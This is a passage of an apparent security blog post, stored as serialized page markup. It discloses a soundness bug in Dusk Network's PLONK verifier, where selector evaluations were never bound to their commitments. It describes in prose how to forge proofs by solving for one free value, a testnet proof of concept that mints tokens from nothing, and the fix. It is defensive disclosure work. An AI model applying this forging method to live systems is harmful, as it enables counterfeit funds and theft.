2533],{"type":26,"tag":217,"props":22534,"children":22536},{"className":22535},[247],[22537],{"type":32,"value":22538},"outputs",{"type":26,"tag":217,"props":22540,"children":22542},{"className":22541,"style":336},[258],[],{"type":26,"tag":217,"props":22544,"children":22546},{"className":22545},[341],[22547],{"type":32,"value":3540},{"type":26,"tag":217,"props":22549,"children":22551},{"className":22550,"style":336},[258],[],{"type":26,"tag":217,"props":22553,"children":22555},{"className":22554},[236],[22556,22561,22571,22575,22580],{"type":26,"tag":217,"props":22557,"children":22560},{"className":22558,"style":22559},[241],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":26,"tag":217,"props":22562,"children":22564},{"className":22563},[247,32],[22565],{"type":26,"tag":217,"props":22566,"children":22568},{"className":22567},[247],[22569],{"type":32,"value":22570},"fee",{"type":26,"tag":217,"props":22572,"children":22574},{"className":22573,"style":336},[258],[],{"type":26,"tag":217,"props":22576,"children":22578},{"className":22577},[341],[22579],{"type":32,"value":3540},{"type":26,"tag":217,"props":22581,"children":22583},{"className":22582,"style":336},[258],[],{"type":26,"tag":217,"props":22585,"children":22587},{"className":22586},[236],[22588,22592],{"type":26,"tag":217,"props":22589,"children":22591},{"className":22590,"style":1520},[241],[],{"type":26,"tag":217,"props":22593,"children":22595},{"className":22594},[247,32],[22596],{"type":26,"tag":217,"props":22597,"children":22599},{"className":22598},[247],[22600],{"type":32,"value":22601},"deposit",{"type":26,"tag":22351,"props":22603,"children":22604},{},[22605,22622],{"type":26,"tag":22373,"props":22606,"children":22607},{},[22608,22615,22616],{"type":26,"tag":163,"props":22609,"children":22612},{"href":22610,"rel":22611},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[167],[22613],{"type":32,"value":22614},"Range checks on inputs",{"type":32,"value":1308},{"type":26,"tag":163,"props":22617,"children":22620},{"href":22618,"rel":22619},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[167],[22621],{"type":32,"value":22538},{"type":26,"tag":22373,"props":22623,"children":22624},{},[22625,22627],{"type":32,"value":22626},"All note values lie in ",{"type":26,"tag":83,"props":22628,"children":22630},{"className":22629},[213,4703],[22631],{"type":26,"tag":217,"props":22632,"children":22634},{"className":22633},[225],[22635],{"type":26,"tag":217,"props":22636,"children":22638},{"className":22637,"ariaHidden":231},[230],[22639,22726],{"type":26,"tag":217,"props":22640,"children":22642},{"className":22641},[236],[22643,22648,22653,22658,22663,22667,22713,22717,22722],{"type":26,"tag":217,"props":22644,"children":22647},{"className":22645,"style":22646},[241],"height:1.0641em;vertical-align:-0.25em;",[],{"type":26,"tag":217,"props":22649,"children":22651},{"className":22650},[288],[22652],{"type":32,"value":7127},{"type":26,"tag":217,"props":22654,"children":22656},{"className":22655},[247],[22657],{"type":32,"value":1883},{"type":26,"tag":217,"props":22659,"children":22661},{"className":22660},[1865],[22662],{"type":32,"value":1868},{"type":26,"tag":217,"props":22664,"children":22666},{"className":22665,"style":1872},[258],[],{"type":26,"tag":217,"props":22668,"children":22670},{"className":22669},[247],[22671,22676],{"type":26,"tag":217,"props":22672,"children":22674},{"className":22673},[247],[22675],{"type":32,"value":332},{"type":26,"tag":217,"props":22677,"children":22679},{"className":22678},[2160],[22680],{"type":26,"tag":217,"props":22681,"children":22683},{"className":22682},[299],[22684],{"type":26,"tag":217,"props":22685,"children":22687},{"className":22686},[305],[22688],{"type":26,"tag":217,"props":22689,"children":22691},{"className":22690,"style":19070},[310],[22692],{"type":26,"tag":217,"props":22693,"children":22694},{"style":6105},[22695,22699],{"type":26,"tag":217,"props":22696,"children":22698},{"className":22697,"style":2182},[320],[],{"type":26,"tag":217,"props":22700,"children":22702},{"className":22701},[2187,2188,2189,2190],[22703],{"type":26,"tag":217,"props":22704,"children":22706},{"className":22705},[247,2190],[22707],{"type":26,"tag":217,"props":22708,"children":22710},{"className":22709},[247,2190],[22711],{"type":32,"value":22712},"64",{"type":26,"tag":217,"props":22714,"children":22716},{"className":22715,"style":336},[258],[],{"type":26,"tag":217,"props":22718,"children":22720},{"className":22719},[341],[22721],{"type":32,"value":3379},{"type":26,"tag":217,"props":22723,"children":22725},{"className":22724,"style":336},[258],[],{"type":26,"tag":217,"props":22727,"children":22729},{"className":22728},[236],[22730,22734,22739],{"type":26,"tag":217,"props":22731,"children":22733},{"className":22732,"style":5514},[241],[],{"type":26,"tag":217,"props":22735,"children":22737},{"className":22736},[247],[22738],{"type":32,"value":185},{"type":26,"tag":217,"props":22740,"children":22742},{"className":22741},[428],[22743],{"type":32,"value":21845},{"type":26,"tag":22351,"props":22745,"children":22746},{},[22747,22757],{"type":26,"tag":22373,"props":22748,"children":22749},{},[22750],{"type":26,"tag":163,"props":22751,"children":22754},{"href":22752,"rel":22753},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[167],[22755],{"type":32,"value":22756},"Sender-authorship signatures",{"type":26,"tag":22373,"props":22758,"children":22759},{},[22760],{"type":32,"value":22761},"The transaction payload is signed by the sender's two signing key components",{"type":26,"tag":22351,"props":22763,"children":22764},{},[22765,22775],{"type":26,"tag":22373,"props":22766,"children":22767},{},[22768],{"type":26,"tag":163,"props":22769,"children":22772},{"href":22770,"rel":22771},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[167],[22773],{"type":32,"value":22774},"Sender encryption correctness",{"type":26,"tag":22373,"props":22776,"children":22777},{},[22778],{"type":32,"value":22779},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":26,"tag":39,"props":22781,"children":22782},{},[22783,22785,22791,22793,22802],{"type":32,"value":22784},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":26,"tag":83,"props":22786,"children":22788},{"className":22787},[],[22789],{"type":32,"value":22790},"tx.public_inputs()",{"type":32,"value":22792}," via ",{"type":26,"tag":163,"props":22794,"children":22796},{"href":22221,"rel":22795},[167],[22797],{"type":26,"tag":83,"props":22798,"children":22800},{"className":22799},[],[22801],{"type":32,"value":22229},{"type":32,"value":180},{"type":26,"tag":39,"props":22804,"children":22805},{},[22806],{"type":32,"value":22807},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":26,"tag":11933,"props":22809,"children":22810},{},[],{"type":26,"tag":27,"props":22812,"children":22814},{"id":22813},"the-bug",[22815],{"type":32,"value":22816},"The bug",{"type":26,"tag":39,"props":22818,"children":22819},{},[22820,22822,22829,22831,22842],{"type":32,"value":22821},"In the ",{"type":26,"tag":163,"props":22823,"children":22826},{"href":22824,"rel":22825},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[167],[22827],{"type":32,"value":22828},"PLONK verification",{"type":32,"value":22830},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":26,"tag":163,"props":22832,"children":22835},{"href":22833,"rel":22834},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[167],[22836],{"type":26,"tag":83,"props":22837,"children":22839},{"className":22838},[],[22840],{"type":32,"value":22841},"E_evals",{"type":32,"value":22843},") are:",{"type":26,"tag":2040,"props":22845,"children":22846},{},[22847,22879,22904,22929],{"type":26,"tag":2044,"props":22848,"children":22849},{},[22850,22856,22857,22863,22864,22870,22871,22877],{"type":26,"tag":83,"props":22851,"children":22853},{"className":22852},[],[22854],{"type":32,"value":22855},"a_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22858,"children":22860},{"className":22859},[],[22861],{"type":32,"value":22862},"b_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22865,"children":22867},{"className":22866},[],[22868],{"type":32,"value":22869},"c_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22872,"children":22874},{"className":22873},[],[22875],{"type":32,"value":22876},"d_eval",{"type":32,"value":22878}," (witness)",{"type":26,"tag":2044,"props":22880,"children":22881},{},[22882,22888,22889,22895,22896,22902],{"type":26,"tag":83,"props":22883,"children":22885},{"className":22884},[],[22886],{"type":32,"value":22887},"s_sigma_1_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22890,"children":22892},{"className":22891},[],[22893],{"type":32,"value":22894},"s_sigma_2_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22897,"children":22899},{"className":22898},[],[22900],{"type":32,"value":22901},"s_sigma_3_eval",{"type":32,"value":22903}," (permutation)",{"type":26,"tag":2044,"props":22905,"children":22906},{},[22907,22913,22914,22920,22921,22927],{"type":26,"tag":83,"props":22908,"children":22910},{"className":22909},[],[22911],{"type":32,"value":22912},"a_w_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22915,"children":22917},{"className":22916},[],[22918],{"type":32,"value":22919},"b_w_eval",{"type":32,"value":7599},{"type":26,"tag":83,"props":22922,"children":22924},{"className":22923},[],[22925],{"type":32,"value":22926},"d_w_eval",{"type":32,"value":22928}," (shifted witness)",{"type":26,"tag":2044,"props":22930,"children":22931},{},[22932,22938],{"type":26,"tag":83,"props":22933,"children":22935},{"className":22934},[],[22936],{"type":32,"value":22937},"z_eval",{"type":32,"value":22939}," (permutation accumulator)",{"type":26,"tag":39,"props":22941,"children":22942},{},[22943,22945,22950],{"type":32,"value":22944},"But the following selector evaluations were ",{"type":26,"tag":65,"props":22946,"children":22947},{},[22948],{"type":32,"value":22949},"not",{"type":32,"value":22951}," included:",{"type":26,"tag":2040,"props":22953,"children":22954},{},[22955,22966,22977,22988],{"type":26,"tag":2044,"props":22956,"children":22957},{},[22958,22964],{"type":26,"tag":83,"props":22959,"children":22961},{"className":22960},[],[22962],{"type":32,"value":22963},"q_arith_eval",{"type":32,"value":22965}," (arithmetic selector)",{"type":26,"tag":2044,"props":22967,"children":22968},{},[22969,22975],{"type":26,"tag":83,"props":22970,"children":22972},{"className":22971},[],[22973],{"type":32,"value":22974},"q_c_eval",{"type":32,"value":22976}," (constant selector)",{"type":26,"tag":2044,"props":22978,"children":22979},{},[22980,22986],{"type":26,"tag":83,"props":22981,"children":22983},{"className":22982},[],[22984],{"type":32,"value":22985},"q_l_eval",{"type":32,"value":22987}," (left selector)",{"type":26,"tag":2044,"props":22989,"children":22990},{},[22991,22997],{"type":26,"tag":83,"props":22992,"children":22994},{"className":22993},[],[22995],{"type":32,"value":22996},"q_r_eval",{"type":32,"value":22998}," (right selector)",{"type":26,"tag":39,"props":23000,"children":23001},{},[23002,23004,23011,23012,23019,23020,23027,23028,23035],{"type":32,"value":23003},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":26,"tag":163,"props":23005,"children":23008},{"href":23006,"rel":23007},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[167],[23009],{"type":32,"value":23010},"proof struct",{"type":32,"value":7599},{"type":26,"tag":163,"props":23013,"children":23016},{"href":23014,"rel":23015},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[167],[23017],{"type":32,"value":23018},"transcript absorption",{"type":32,"value":7599},{"type":26,"tag":163,"props":23021,"children":23024},{"href":23022,"rel":23023},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[167],[23025],{"type":32,"value":23026},"arithmetic widget",{"type":32,"value":7599},{"type":26,"tag":163,"props":23029,"children":23032},{"href":23030,"rel":23031},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[167],[23033],{"type":32,"value":23034},"fixed-base ECC widget",{"type":32,"value":23036},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":26,"tag":39,"props":23038,"children":23039},{},[23040,23042,23046],{"type":32,"value":23041},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":26,"tag":65,"props":23043,"children":23044},{},[23045],{"type":32,"value":22949},{"type":32,"value":23047}," bugs:",{"type":26,"tag":2040,"props":23049,"children":23050},{},[23051,23191],{"type":26,"tag":2044,"props":23052,"children":23053},{},[23054,23056,23101,23103,23109,23111,23116,23117,23122,23123,23128,23130,23136,23138,23183,23185,23190],{"type":32,"value":23055},"There is no prover-supplied ",{"type":26,"tag":83,"props":23057,"children":23059},{"className":23058},[213,4703],[23060],{"type":26,"tag":217,"props":23061,"children":23063},{"className":23062},[225],[23064],{"type":26,"tag":217,"props":23065,"children":23067},{"className":23066,"ariaHidden":231},[230],[23068],{"type":26,"tag":217,"props":23069,"children":23071},{"className":23070},[236],[23072,23076,23081,23086,23091,23096],{"type":26,"tag":217,"props":23073,"children":23075},{"className":23074,"style":5514},[241],[],{"type":26,"tag":217,"props":23077,"children":23079},{"className":23078},[247,2152],[23080],{"type":32,"value":2255},{"type":26,"tag":217,"props":23082,"children":23084},{"className":23083},[288],[23085],{"type":32,"value":1851},{"type":26,"tag":217,"props":23087,"children":23089},{"className":23088,"style":21089},[247,2152],[23090],{"type":32,"value":21092},{"type":26,"tag":217,"props":23092,"children":23094},{"className":23093,"style":2326},[247,2152],[23095],{"type":32,"value":21750},{"type":26,"tag":217,"props":23097,"children":23099},{"className":23098},[428],[23100],{"type":32,"value":1889},{"type":32,"value":23102}," field at all. ",{"type":26,"tag":83,"props":23104,"children":23106},{"className":23105},[],[23107],{"type":32,"value":23108},"ProofEvaluations",{"type":32,"value":23110}," contains ",{"type":26,"tag":83,"props":23112,"children":23114},{"className":23113},[],[23115],{"type":32,"value":22912},{"type":32,"value":7599},{"type":26,"tag":83,"props":23118,"children":23120},{"className":23119},[],[23121],{"type":32,"value":22919},{"type":32,"value":17577},{"type":26,"tag":83,"props":23124,"children":23126},{"className":23125},[],[23127],{"type":32,"value":22926},{"type":32,"value":23129},", but no ",{"type":26,"tag":83,"props":23131,"children":23133},{"className":23132},[],[23134],{"type":32,"value":23135},"c_w_eval",{"type":32,"value":23137},", so the verifier never consumes an unbound ",{"type":26,"tag":83,"props":23139,"children":23141},{"className":23140},[213,4703],[23142],{"type":26,"tag":217,"props":23143,"children":23145},{"className":23144},[225],[23146],{"type":26,"tag":217,"props":23147,"children":23149},{"className":23148,"ariaHidden":231},[230],[23150],{"type":26,"tag":217,"props":23151,"children":23153},{"className":23152},[236],[23154,23158,23163,23168,23173,23178],{"type":26,"tag":217,"props":23155,"children":23157},{"className":23156,"style":5514},[241],[],{"type":26,"tag":217,"props":23159,"children":23161},{"className":23160},[247,2152],[23162],{"type":32,"value":2255},{"type":26,"tag":217,"props":23164,"children":23166},{"className":23165},[288],[23167],{"type":32,"value":1851},{"type":26,"tag":217,"props":23169,"children":23171},{"className":23170,"style":21089},[247,2152],[23172],{"type":32,"value":21092},{"type":26,"tag":217,"props":23174,"children":23176},{"className":23175,"style":2326},[247,2152],[23177],{"type":32,"value":21750},{"type":26,"tag":217,"props":23179,"children":23181},{"className":23180},[428],[23182],{"type":32,"value":1889},{"type":32,"value":23184}," claim (",{"type":26,"tag":163,"props":23186,"children":23188},{"href":23006,"rel":23187},[167],[23189],{"type":32,"value":23010},{"type":32,"value":8256},{"type":26,"tag":2044,"props":23192,"children":23193},{},[23194,23196,23283,23285,23377,23378,23385],{"type":32,"value":23195},"There is a fourth permutation commitment ",{"type":26,"tag":83,"props":23197,"children":23199},{"className":23198},[213,4703],[23200],{"type":26,"tag":217,"props":23201,"children":23203},{"className":23202},[225],[23204],{"type":26,"tag":217,"props":23205,"children":23207},{"className":23206,"ariaHidden":231},[230],[23208],{"type":26,"tag":217,"props":23209,"children":23211},{"className":23210},[236],[23212,23216,23221,23278],{"type":26,"tag":217,"props":23213,"children":23215},{"className":23214,"style":5514},[241],[],{"type":26,"tag":217,"props":23217,"children":23219},{"className":23218},[288],[23220],{"type":32,"value":7127},{"type":26,"tag":217,"props":23222,"children":23224},{"className":23223},[247],[23225,23230],{"type":26,"tag":217,"props":23226,"children":23228},{"className":23227,"style":2326},[247,2152],[23229],{"type":32,"value":21645},{"type":26,"tag":217,"props":23231,"children":23233},{"className":23232},[2160],[23234],{"type":26,"tag":217,"props":23235,"children":23237},{"className":23236},[299,300],[23238,23267],{"type":26,"tag":217,"props":23239,"children":23241},{"className":23240},[305],[23242,23262],{"type":26,"tag":217,"props":23243,"children":23245},{"className":23244,"style":19226},[310],[23246],{"type":26,"tag":217,"props":23247,"children":23248},{"style":2348},[23249,23253],{"type":26,"tag":217,"props":23250,"children":23252},{"className":23251,"style":2182},[320],[],{"type":26,"tag":217,"props":23254,"children":23256},{"className":23255},[2187,2188,2189,2190],[23257],{"type":26,"tag":217,"props":23258,"children":23260},{"className":23259},[247,2190],[23261],{"type":32,"value":10985},{"type":26,"tag":217,"props":23263,"children":23265},{"className":23264},[409],[23266],{"type":32,"value":412},{"type":26,"tag":217,"props":23268,"children":23270},{"className":23269},[305],[23271],{"type":26,"tag":217,"props":23272,"children":23274},{"className":23273,"style":2210},[310],[23275],{"type":26,"tag":217,"props":23276,"children":23277},{},[],{"type":26,"tag":217,"props":23279,"children":23281},{"className":23280},[428],[23282],{"type":32,"value":21845},{"type":32,"value":23284}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":26,"tag":83,"props":23286,"children":23288},{"className":23287},[213,4703],[23289],{"type":26,"tag":217,"props":23290,"children":23292},{"className":23291},[225],[23293],{"type":26,"tag":217,"props":23294,"children":23296},{"className":23295,"ariaHidden":231},[230],[23297],{"type":26,"tag":217,"props":23298,"children":23300},{"className":23299},[236],[23301,23305,23362,23367,23372],{"type":26,"tag":217,"props":23302,"children":23304},{"className":23303,"style":5514},[241],[],{"type":26,"tag":217,"props":23306,"children":23308},{"className":23307},[247],[23309,23314],{"type":26,"tag":217,"props":23310,"children":23312},{"className":23311,"style":2326},[247,2152],[23313],{"type":32,"value":21645},{"type":26,"tag":217,"props":23315,"children":23317},{"className":23316},[2160],[23318],{"type":26,"tag":217,"props":23319,"children":23321},{"className":23320},[299,300],[23322,23351],{"type":26,"tag":217,"props":23323,"children":23325},{"className":23324},[305],[23326,23346],{"type":26,"tag":217,"props":23327,"children":23329},{"className":23328,"style":19226},[310],[23330],{"type":26,"tag":217,"props":23331,"children":23332},{"style":2348},[23333,23337],{"type":26,"tag":217,"props":23334,"children":23336},{"className":23335,"style":2182},[320],[],{"type":26,"tag":217,"props":23338,"children":23340},{"className":23339},[2187,2188,2189,2190],[23341],{"type":26,"tag":217,"props":23342,"children":23344},{"className":23343},[247,2190],[23345],{"type":32,"value":10985},{"type":26,"tag":217,"props":23347,"children":23349},{"className":23348},[409],[23350],{"type":32,"value":412},{"type":26,"tag":217,"props":23352,"children":23354},{"className":23353},[305],[23355],{"type":26,"tag":217,"props":23356,"children":23358},{"className":23357,"style":2210},[310],[23359],{"type":26,"tag":217,"props":23360,"children":23361},{},[],{"type":26,"tag":217,"props":23363,"children":23365},{"className":23364},[288],[23366],{"type":32,"value":1851},{"type":26,"tag":217,"props":23368,"children":23370},{"className":23369,"style":21089},[247,2152],[23371],{"type":32,"value":21092},{"type":26,"tag":217,"props":23373,"children":23375},{"className":23374},[428],[23376],{"type":32,"value":1889},{"type":32,"value":7051},{"type":26,"tag":163,"props":23379,"children":23382},{"href":23380,"rel":23381},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[167],[23383],{"type":32,"value":23384},"permutation verifier key",{"type":32,"value":8256},{"type":26,"tag":39,"props":23387,"children":23388},{},[23389,23391,23401],{"type":32,"value":23390},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":26,"tag":163,"props":23392,"children":23395},{"href":23393,"rel":23394},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[167],[23396],{"type":26,"tag":83,"props":23397,"children":23399},{"className":23398},[],[23400],{"type":32,"value":22841},{"type":32,"value":23402},", which leaves the master equation underconstrained.",{"type":26,"tag":39,"props":23404,"children":23405},{},[23406],{"type":26,"tag":6468,"props":23407,"children":23410},{"alt":23408,"src":23409},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":26,"tag":11933,"props":23412,"children":23413},{},[],{"type":26,"tag":27,"props":23415,"children":23417},{"id":23416},"the-exploitation",[23418],{"type":32,"value":23419},"The exploitation",{"type":26,"tag":39,"props":23421,"children":23422},{},[23423],{"type":32,"value":23424},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":26,"tag":39,"props":23426,"children":23427},{},[23428,23430,23436,23438,23443,23445,23450,23452,23458],{"type":32,"value":23429},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":26,"tag":83,"props":23431,"children":23433},{"className":23432},[],[23434],{"type":32,"value":23435},"z_challenge",{"type":32,"value":23437},", it computes what the linearization polynomial ",{"type":26,"tag":65,"props":23439,"children":23440},{},[23441],{"type":32,"value":23442},"should",{"type":32,"value":23444}," evaluate to for the pairing check to pass, then solves for ",{"type":26,"tag":83,"props":23446,"children":23448},{"className":23447},[],[23449],{"type":32,"value":22963},{"type":32,"value":23451},", the single free variable that makes the verification equation balance (setting ",{"type":26,"tag":83,"props":23453,"children":23455},{"className":23454},[],[23456],{"type":32,"value":23457},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":32,"value":8256},{"type":26,"tag":39,"props":23460,"children":23461},{},[23462],{"type":26,"tag":6468,"props":23463,"children":23466},{"alt":23464,"src":23465},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":26,"tag":39,"props":23468,"children":23469},{},[23470,23472,23512,23514,23539,23541,23546],{"type":32,"value":23471},"To achieve this one may compute the linearization polynomial ",{"type":26,"tag":83,"props":23473,"children":23475},{"className":23474},[213,4703],[23476],{"type":26,"tag":217,"props":23477,"children":23479},{"className":23478},[225],[23480],{"type":26,"tag":217,"props":23481,"children":23483},{"className":23482,"ariaHidden":231},[230],[23484],{"type":26,"tag":217,"props":23485,"children":23487},{"className":23486},[236],[23488,23492,23497,23502,23507],{"type":26,"tag":217,"props":23489,"children":23491},{"className":23490,"style":5514},[241],[],{"type":26,"tag":217,"props":23493,"children":23495},{"className":23494,"style":2753},[247,2152],[23496],{"type":32,"value":19414},{"type":26,"tag":217,"props":23498,"children":23500},{"className":23499},[288],[23501],{"type":32,"value":1851},{"type":26,"tag":217,"props":23503,"children":23505},{"className":23504},[247,2152],[23506],{"type":32,"value":2542},{"type":26,"tag":217,"props":23508,"children":23510},{"className":23509},[428],[23511],{"type":32,"value":1889},{"type":32,"value":23513}," with all selectors set to zero, evaluating it at ",{"type":26,"tag":83,"props":23515,"children":23517},{"className":23516},[213,4703],[23518],{"type":26,"tag":217,"props":23519,"children":23521},{"className":23520},[225],[23522],{"type":26,"tag":217,"props":23523,"children":23525},{"className":23524,"ariaHidden":231},[230],[23526],{"type":26,"tag":217,"props":23527,"children":23529},{"className":23528},[236],[23530,23534],{"type":26,"tag":217,"props":23531,"children":23533},{"className":23532,"style":6316},[241],[],{"type":26,"tag":217,"props":23535,"children":23537},{"className":23536,"style":21089},[247,2152],[23538],{"type":32,"value":21092},{"type":32,"value":23540},", and comparing to the target value; the difference divided by the coefficient of ",{"type":26,"tag":83,"props":23542,"children":23544},{"className":23543},[],[23545],{"type":32,"value":22963},{"type":32,"value":23547}," gives the required value in a single field division.",{"type":26,"tag":11933,"props":23549,"children":23550},{},[],{"type":26,"tag":27,"props":23552,"children":23554},{"id":23553},"impact-on-dusk-network",[23555],{"type":32,"value":23556},"Impact on Dusk Network",{"type":26,"tag":39,"props":23558,"children":23559},{},[23560,23562,23569],{"type":32,"value":23561},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":26,"tag":163,"props":23563,"children":23566},{"href":23564,"rel":23565},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[167],[23567],{"type":32,"value":23568},"preverify path",{"type":32,"value":23570},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":26,"tag":6712,"props":23572,"children":23573},{},[23574,23579,23584],{"type":26,"tag":2044,"props":23575,"children":23576},{},[23577],{"type":32,"value":23578},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":26,"tag":2044,"props":23580,"children":23581},{},[23582],{"type":32,"value":23583},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":26,"tag":2044,"props":23585,"children":23586},{},[23587],{"type":32,"value":23588},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":26,"tag":39,"props":23590,"children":23591},{},[23592],{"type":32,"value":23593},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":26,"tag":6712,"props":23595,"children":23596},{},[23597,23602,23612,23624,23629],{"type":26,"tag":2044,"props":23598,"children":23599},{},[23600],{"type":32,"value":23601},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":26,"tag":2044,"props":23603,"children":23604},{},[23605,23607],{"type":32,"value":23606},"The malicious wallet forges a PLONK proof to create ",{"type":26,"tag":9348,"props":23608,"children":23609},{},[23610],{"type":32,"value":23611},"2000 DUSK from nothing",{"type":26,"tag":2044,"props":23613,"children":23614},{},[23615,23617,23622],{"type":32,"value":23616},"The malicious wallet transfers ",{"type":26,"tag":9348,"props":23618,"children":23619},{},[23620],{"type":32,"value":23621},"1337 DUSK",{"type":32,"value":23623}," to the honest wallet using a normal (honestly-proved) transaction",{"type":26,"tag":2044,"props":23625,"children":23626},{},[23627],{"type":32,"value":23628},"The honest node validates both transactions and mines them into blocks",{"type":26,"tag":2044,"props":23630,"children":23631},{},[23632],{"type":32,"value":23633},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":26,"tag":39,"props":23635,"children":23636},{},[23637],{"type":26,"tag":6468,"props":23638,"children":23641},{"alt":23639,"src":23640},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":26,"tag":39,"props":23643,"children":23644},{},[23645,23647,23653,23655,23662],{"type":32,"value":23646},"At the time of discovery, DUSK's market cap was roughly ",{"type":26,"tag":163,"props":23648,"children":23650},{"href":18909,"rel":23649},[167],[23651],{"type":32,"value":23652},"~60M",{"type":32,"value":23654},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":26,"tag":163,"props":23656,"children":23659},{"href":23657,"rel":23658},"https://neptune.cash/articles/critical-vulnerability-disclosure",[167],[23660],{"type":32,"value":23661},"Triton VM vulnerability",{"type":32,"value":180},{"type":26,"tag":11933,"props":23664,"children":23665},{},[],{"type":26,"tag":27,"props":23667,"children":23669},{"id":23668},"the-fix",[23670],{"type":32,"value":23671},"The fix",{"type":26,"tag":39,"props":23673,"children":23674},{},[23675],{"type":32,"value":23676},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":26,"tag":2040,"props":23678,"children":23679},{},[23680,23725],{"type":26,"tag":2044,"props":23681,"children":23682},{},[23683,23685,23696,23698,23704,23705,23711,23712,23718,23719],{"type":32,"value":23684},"Extend ",{"type":26,"tag":163,"props":23686,"children":23689},{"href":23687,"rel":23688},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[167],[23690],{"type":26,"tag":83,"props":23691,"children":23693},{"className":23692},[],[23694],{"type":32,"value":23695},"compute_aggregate_witness",{"type":32,"value":23697}," on the prover side to also include ",{"type":26,"tag":83,"props":23699,"children":23701},{"className":23700},[],[23702],{"type":32,"value":23703},"q_arith",{"type":32,"value":7599},{"type":26,"tag":83,"props":23706,"children":23708},{"className":23707},[],[23709],{"type":32,"value":23710},"q_c",{"type":32,"value":7599},{"type":26,"tag":83,"props":23713,"children":23715},{"className":23714},[],[23716],{"type":32,"value":23717},"q_l",{"type":32,"value":17577},{"type":26,"tag":83,"props":23720,"children":23722},{"className":23721},[],[23723],{"type":32,"value":23724},"q_r",{"type":26,"tag":2044,"props":23726,"children":23727},{},[23728,23730,23740],{"type":32,"value":23729},"Add their evaluations to 